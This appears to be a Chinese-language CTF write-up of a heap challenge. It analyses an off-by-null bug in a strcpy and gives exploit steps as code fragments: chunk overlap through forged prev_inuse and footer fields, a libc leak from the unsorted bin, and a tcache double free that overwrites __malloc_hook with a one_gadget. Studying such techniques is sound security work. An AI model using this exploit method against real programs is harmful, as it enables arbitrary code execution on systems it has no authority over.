1 alloc
遍历 202060的指针数组,看是否存在空 //0-9 10个
申请 0x2010 的数组S (栈)
根据 size 申请一块内存(堆)
数据读入到S //__read_chk 有传入长度
strcpy S ->堆 //off by NULL 虽然开了保护,但是由于申请的空间可变,编译器没有将其替换为strncpy
将size存入2020C0[i]
Ptr存入202060[i]
2 show
Puts(202060[i])
3 free
Memset(ptr,218,size)
Free(ptr)
Ptr = 0
Size = 0
offerbynull 看看能改的也就堆了,也就是 nextchunk.size中的最低位 ,即能修改prev_inuse位和大小的最后一部分
这里仅使用到prev_inuse
构造四个chunk
create(0x420,"aaa")
create(0x20,"bbb") #
create(0x4F0,"ccc") #small_bin detection is less than large_bin -->500
create(0x20,"ddd") #Prevent the merger with top
首先要利用offerbyNULL 来泄露libc地址
利用 unsort_bin 分割的时候,会将剩下的chunk扔回unsort_bin中,所以chunk头需要指向 libc地址 即 bins[0] -0x10
所以要构造一个大的unsort_bin 分割后 chunk1变成头
所以要先合并chunk,详见wiki的chunk extend and overlapping
将chunk2的prev_size 和 size 的prev_inuse修改
修改prev_inuse
free(1)
poc = 'b' * 0x28
create(0x28,poc) # 501 == > 500 prev_inuse ==> 0
做个循环把foot清空
for i in range(1,7):
poc = (0x28 - i) * 'b'
create(0x28-i,poc)
free(0)
然后写入foot
poc = 0x20 * 'b' + p64(foot)
create(0x28,poc)
#free chunk2 will make merge fake chunk(chunk0 + chunk1) + chunk2
好了,通过伪造 chunk的foot和prev_inuse成功,//注意,chunk0一定要大于0x408(tcache大小) ,因为这样 chunk的fd和bk 会自动填充,不用伪造
然后malloc0x420
由于unsort_bin 要符合规则,所以 heap+ 0x250 + 0x420 == unsort_bin
只有一项unsort_bin->fd == unsort_bin->bk = libc_addr
由于特殊构造,unsort_bin 指向 chunk1
直接打印chunk1获得libc地址
#ptr0 chunk1 ptr1 chunk0 ptr2 null ptr3 chunk3 unsortbin -> chunk1
再把chunk1再申请下来,这样我们就有两个chunk1 可以使用double free /use after free
即
初始状态tcache -> chunk1 -> chunk1
然后需要申请下来,并改写
第一次malloc(tcache, __malloc_hook)
tcache_put = tcache-> chunk1->next = tcache->chunk1 return chunk1 chunk1.data = __malloc_hook
第二次malloc(tcache,any)
tcache_put =tcache->chunk1-> next = __malloc_hook return chunk1 chunk1.data = any
第三次malloc(tcache,one_gadget)
tcache_put = __malloc_hook ->next = NULL return __malloc_hook __malloc_hook.data = one_gadget
所以需要free三次,绕过tcache检测
free(chunk3)
free(chunk1)
free(chunk1)
该题利用了tcache 和 内存释放再申请长度不一致 泄露地址